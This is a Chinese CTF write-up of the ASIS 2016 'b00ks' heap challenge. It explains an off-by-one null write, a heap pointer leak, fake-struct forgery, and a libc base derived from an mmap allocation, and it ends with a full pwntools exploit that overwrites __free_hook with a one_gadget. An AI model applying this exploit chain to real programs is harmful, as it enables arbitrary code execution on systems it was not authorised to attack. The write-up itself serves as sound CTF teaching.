Asis-2016-b00ks

题目: b00ks

  • libc version: 2.23

  • checksec b00ks 可以看到 64 位程序且保护全开

    ➜  Asis_2016_b00ks checksec b00ks
    [*] '/mnt/d/Users/Lantern/Desktop/note/pwn_note/heap/off-by-one/Asis_2016_b00ks/b00ks'
    Arch: amd64-64-little
    RELRO: Full RELRO
    Stack: No canary found
    NX: NX enabled
    PIE: PIE enabled

代码分析

题目是一个常见的选单式程序, 功能是一个图书管理系统

1. Create a book
2. Delete a book
3. Edit a book
4. Print book detail
5. Change current author name
6. Exit

程序每创建一个 book 会分配 0x20 字节的结构来维护它的信息

00000000 book            struc ; (sizeof=0x20, mappedto_6)
00000000 id dd ?
00000004 padding1 dd ?
00000008 name dq ?
00000010 description dq ?
00000018 size dd ?
0000001C padding2 dd ?
00000020 book ends

Create

book 结构中存在 name 和 description , name 和 description 在堆上分配。首先分配 name buffer , 使用 malloc , 大小自定但小于 32

printf("\nEnter book name size: ", *(_QWORD *)&size);
__isoc99_scanf("%d", &size);
printf("Enter book name (Max 32 chars): ", &size);
ptr = malloc(size);

之后分配 description , 同样大小自定但无限制

printf("\nEnter book description size: ");
__isoc99_scanf("%d", &size);
// ...
description = malloc(size);

之后分配 book 结构的内存

book = (book *)malloc(0x20uLL);
if ( book )
{
book->size = size;
book_list[v3] = (bool *)book;
book->description = (__int64)description;
book->name = (__int64)name;
book->id = ++index;
return 0LL;
}

漏洞

程序编写的 read_size 函数存在off-by-one漏洞, 字符串边界判断有误。例如调用read_size(buf, 32)时, \x00实际上写在了buf[32]的位置, 比预期多了一位。

signed __int64 __fastcall read_size(_BYTE *a1, int size)
{
int i; // [rsp+14h] [rbp-Ch]
_BYTE *buf; // [rsp+18h] [rbp-8h]

if ( size <= 0 )
return 0LL;
buf = a1;
for ( i = 0; ; ++i )
{
if ( (unsigned int)read(0, buf, 1uLL) != 1 )
return 1LL;
if ( *buf == 10 )
break;
++buf;
if ( i == size )
break;
}
*buf = 0;
return 0LL;
}

利用

泄漏

程序中的 read_size 函数存在 off-by-one。而程序中 author namebook_list 相邻。

.bss:0000000000202040 ; char name[32]
.bss:0000000000202040 _name db 20h dup(?) ; DATA XREF: .data:name↑o
.bss:0000000000202060 ; book **book_list
.bss:0000000000202060 _book_list dq ? ; DATA XREF: .data:book_list↑o
.bss:0000000000202068 db ? ;

而事实上 read_size 读入的结束符 ‘\x00’ 是写入到 0x555555756060 的位置的。这样当 0x555555756060~0x555555756068 写入 book 指针时就会覆盖掉结束符 ‘\x00’ , 所以这里是存在一个地址泄漏的漏洞。通过打印 author name 就可以获得 pointer array 中第一项的值。

pwndbg> x/16gx 0x555555554000 + 0x000000000202040
0x555555756040: 0x4141414141414141 0x4141414141414141
0x555555756050: 0x4141414141414141 0x4141414141414141
0x555555756060: 0x00005555557590e0 0x0000000000000000
io.recvuntil('Enter author name:') # input author name
io.sendline('a' * 32)

io.recvuntil('>') # create book1
io.sendline('1')
io.recvuntil('Enter book name size:')
io.sendline('32')
io.recvuntil('Enter book name (Max 32 chars):')
io.sendline('object1')
io.recvuntil('Enter book description size:')
io.sendline('32')
io.recvuntil('Enter book description:')
io.sendline('object1')

io.recvuntil('>') # print book1
io.sendline('4')
io.recvuntil('Author:')
io.recvuntil('aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa') # <== leak book1
book1_addr = io.recv(6)
book1_addr = book1_addr.ljust(8, '\x00')
book1_addr = u64(book1_addr)

off-by-one 覆盖指针低字节

程序提供了 change 功能用于修改 author name, 所以通过 change 可以写入 author name, 利用 off-by-one 覆盖 book_list 第一个项的低字节

覆盖掉 book1 指针的低字节后, 这个指针会指向 book1->description, 由于程序提供了 edit 功能可以任意修改 description 中的内容, 那么我们就可提前在 description 中布置数据伪造一个 book 结构, 这个 book 结构的 description 和 name 指针可以由 book1->description 直接控制

这里 book1->description 的地址要根据实际情况进行构造

def off_by_one(addr):
addr += 58
io.recvuntil('>')# create fake book in description
io.sendline('3')
fake_book_data = p64(0x1) + p64(addr) + p64(addr) + pack(0xffff)
io.recvuntil('Enter new book description:')
io.sendline(fake_book_data) # <== fake book
io.recvuntil('>') # change author name
io.sendline('5')
io.recvuntil('Enter author name:')
io.sendline('a' * 32) # <== off-by-one

这里在 description 中伪造了 book , 使用的数据是 p64(0x1)+p64(addr)+p64(addr)+pack(0xffff) 。 其中 addr+58 是为了使指针指向 book2 的指针地址, 使得我们可以任意修改这些指针值。

通过栈实现利用

通过前面两部分我们已经获得了任意地址写的能力, 那么我们很容易想到写 got 表劫持流程或者写 __malloc_hook 劫持流程等。但这个题目特殊在于开启 PIE 且没有泄漏 libc 基地址的方法。

这道题的巧妙之处在于在分配第二个 book 时, 使用一个很大的尺寸, 使得堆以 mmap 模式进行拓展。我们知道堆有两种拓展方式一种是 brk 会直接拓展原来的堆, 另一种是 mmap 会单独映射一块内存。

在这里我们申请一个超大的块, 来使用 mmap 扩展内存。因为 mmap 分配的内存与 libc 之前存在固定的偏移因此可以推算出 libc 的基地址。

20200804111747

添加超大堆块后

create(0x21000, "c", 0x21000, "d")

20200804111715

完整EXP

由于 pwndockerlibc 好像有点点问题, 跟正常比赛题目的 libc 不太一样, 所以 one_gadget 的地址需要自行查询。

#! /usr/bin/env python3
from pwn import *

binary = ELF("b00ks")
p = process(["./b00ks"], env = {'LOAD_PRELOAD': './libc.so.6'})
libc = ELF("./libc.so.6")

context.terminal = ['tmux', 'splitw', '-v']
context.log_level = 'debug'

rv = p.recv
ru = p.recvuntil
rl = p.readline
sd = p.send
sa = p.sendafter
sl = p.sendline
sla = p.sendlineafter

def dbg(break_point):
gdb.attach(p, "b " + break_point)

def create_book(name_size, name, description_size, description):
sla(">", "1")
sla("Enter book name size:", str(name_size))
sla("Enter book name (Max 32 chars):", name)
sla("Enter book description size: ", str(description_size))
sla("Enter book description: ", str(description))
log.info("Create")

def delete_book(idx):
sla(">", "2")
sla("Enter the book id you want to delete: ", str(idx))
log.info("Delete")

def edit_book(idx, description):
sla(">", "3")
sla("Enter the book id you want to edit: ", str(idx))
ru("Enter new book description")
sla(": ", description)
log.info("Edit")

def print_book(idx):
sla(">", "4")
for i in range(idx):
ru(": ")
book_id = int(rl()[:-1])
ru(": ")
book_name = rl()[:-1]
ru(": ")
book_des = rl()[:-1]
ru(": ")
book_author = rl()[:-1]
log.info("print_book")
return book_id, book_name, book_des, book_author

def change_name(name):
sla(">", "5")
sla("Enter author name: ", name)
log.info("change name")

def create_name(name):
sla("name:", name)

create_name("A" * 32)
create_book(0x1d8, "a", 32, "b") # 使得 book1->description 的地址低位为 00
create_book(0x21000, "c", 0x21000, "d")

book_id, book_name, book_des, book_author = print_book(1)
ru("A"*32)
book1_addr = u64(book_author[32:32+6].ljust(8, b"\x00"))
log.info("book1_addr: " + hex(book1_addr))

payload = p64(1) + p64(book1_addr + 0x38) + p64(book1_addr + 0x40) + p64(0xffff)
edit_book(1, payload)
change_name("A" * 32)

book_id, book_name, book_des, book_author = print_book(1)

book2_des_addr = u64(book_des.ljust(8, b"\x00"))
log.info("book2_des_addr: " + hex(book2_des_addr))
libc.address = book2_des_addr - 0x575010
log.info("libc base: " + hex(libc.address))

free_hook = libc.symbols['__free_hook']
one_gadget = libc.address + 0xd5bf7 # 0x3f3d6 0x3f42a 0xd5bf7
log.info("free_hook: " + hex(free_hook))
log.info("one_gadget: " + hex(one_gadget))

edit_book(1, p64(free_hook))
# dbg("*(0x555555554000 + 0x000000000000B23)")
edit_book(2, p64(one_gadget))

delete_book(2)

p.interactive()
  • 其中构造 book1->description 地址低位为 00 , ctf-wiki中为 128, 这里我根据实际情况修改为 0x1d8。